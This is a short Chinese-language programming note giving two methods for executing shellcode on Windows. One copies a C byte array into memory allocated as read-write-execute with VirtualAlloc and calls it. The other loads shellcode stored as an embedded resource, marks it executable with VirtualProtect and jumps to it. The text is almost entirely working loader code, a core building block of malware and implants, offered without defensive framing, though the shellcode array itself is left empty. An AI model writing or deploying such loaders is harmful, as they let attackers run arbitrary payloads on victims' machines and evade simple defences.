方法一
适用于shellcode的数据量很小的时候
先将shellcode转成c代码数组
转成C代码的数据
将数据拷贝到开辟的内存空间中执行
unsigned char buff[] = {}
void* exec = VirtualAlloc(0, sizeof(buff), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buff, sizeof(buff));
((void(*)())exec)();
方法二
适用于shellcode的数据量很大的时候
将shellcode添加到资源中,从资源中读取执行
//定位我们的自定义资源,这里因为我们是从本模块定位资源,所以将句柄简单地置为NULL即可
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), "SHELLCODE");
if (NULL == hRsrc)
return FALSE;
//获取资源的大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
if (0 == dwSize)
return FALSE;
//加载资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (NULL == hGlobal)
return FALSE;
//锁定资源
LPVOID pBuffer = LockResource(hGlobal);
if (NULL == pBuffer)
return FALSE;
DWORD old;
VirtualProtect(pBuffer, dwSize, PAGE_EXECUTE_READWRITE, &old);
((void(*)())pBuffer)();